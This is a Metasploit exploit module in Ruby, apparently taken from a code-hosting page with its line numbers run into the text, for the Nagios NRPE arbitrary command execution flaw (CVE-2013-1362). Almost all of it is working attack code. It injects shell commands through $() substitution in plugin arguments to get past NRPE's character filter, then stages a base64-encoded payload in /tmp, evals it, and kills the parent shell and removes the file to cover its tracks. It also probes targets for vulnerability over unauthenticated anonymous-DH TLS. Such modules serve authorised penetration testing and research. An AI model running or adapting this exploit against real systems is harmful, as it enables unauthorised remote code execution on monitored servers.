Path: blob/master/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4#56require 'zlib'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Tcp1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',18'Description' => %q{19The Nagios Remote Plugin Executor (NRPE) is installed to allow a central20Nagios server to actively poll information from the hosts it monitors. NRPE21has a configuration option dont_blame_nrpe which enables command-line arguments22to be provided remote plugins. When this option is enabled, even when NRPE makes23an effort to sanitize arguments to prevent command execution, it is possible to24execute arbitrary commands.25},26'Author' => [27'Rudolph Pereir', # Vulnerability discovery28'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module29],30'References' => [31[ 'CVE', '2013-1362' ],32[ 'OSVDB', '90582'],33[ 'BID', '58142'],34[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']35],36'License' => MSF_LICENSE,37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Payload' => {40'DisableNops' => true,41'Compat' =>42{43'PayloadType' => 'cmd',44'RequiredCmd' => 'perl python ruby telnet',45# *_perl, *_python and *_ruby work if they are installed46}47},48'Targets' => [49[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]50],51'DefaultTarget' => 0,52'DisclosureDate' => '2013-02-21',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63Opt::RPORT(5666),64OptEnum.new('NRPECMD', [65true,66"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",67'check_procs',68['check_procs', 'check_users', 'check_load', 'check_disk']69]),70# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below71OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])72]73)74end7576def send_message(message)77packet = [782, # packet version791, # packet type, 1 => query packet800, # checksum, to be added later810, # result code, discarded for query packet82message, # the command and arguments830 # padding84]85packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum86begin87self.sock.put(packet.pack("nnNna1024n")) # send the packet88res = self.sock.get_once # get the response89rescue ::EOFError => eof90res = ""91end9293return res.unpack("nnNnA1024n")[4] unless res.nil?94end9596def setup97@ssl_socket = nil98@force_ssl = false99super100end101102def exploit103if check != Exploit::CheckCode::Vulnerable104fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")105end106107stage = "setsid nohup #{payload.encoded} & "108stage = Rex::Text.encode_base64(stage)109# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)110command = datastore['NRPECMD']111command << "!"112command << "$($(rm -f /tmp/$$)" # Delete the file if it exists113# need a way to write to a file without using redirection (>)114# cant count on perl being on all linux hosts, use GNU Sed115# TODO: Probably a better way to do this, some hosts may not have a /tmp116command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text117command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file118command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage119command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?120command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes121command << "$(rm -f /tmp/$$))" # clean the file with the stage122connect123print_status("Sending request...")124send_message(command)125disconnect126end127128def check129vprint_status("Checking if remote NRPE supports command line arguments")130131begin132# send query asking to run "fake_check" command with command substitution in arguments133connect134res = send_message("__fake_check!$()")135# if nrpe is configured to support arguments and is not patched to add $() to136# NASTY_META_CHARS then the service will return:137# NRPE: Command '__fake_check' not defined138if res =~ /not defined/139return Exploit::CheckCode::Vulnerable140end141# Otherwise the service will close the connection if it is configured to disable arguments142rescue EOFError => eof143return Exploit::CheckCode::Safe144rescue Errno::ECONNRESET => reset145unless datastore['NRPESSL'] or @force_ssl146vprint_status("Retrying with ADH SSL")147@force_ssl = true148retry149end150return Exploit::CheckCode::Safe151rescue => e152return Exploit::CheckCode::Unknown153end154# TODO: patched version appears to go here155return Exploit::CheckCode::Unknown156end157158# NRPE uses unauthenticated Anonymous-Diffie-Hellman159160# setting the global SSL => true will break as we would be overlaying161# an SSLSocket on another SSLSocket which hasnt completed its handshake162def connect(global = true, opts = {})163self.sock = super(global, opts)164165if datastore['NRPESSL'] or @force_ssl166ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)167ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE168ctx.ciphers = "ADH"169170@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)171172@ssl_socket.connect173174self.sock.extend(Rex::Socket::SslTcp)175self.sock.sslsock = @ssl_socket176self.sock.sslctx = ctx177end178179return self.sock180end181182def disconnect183@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl184super185end186end187188189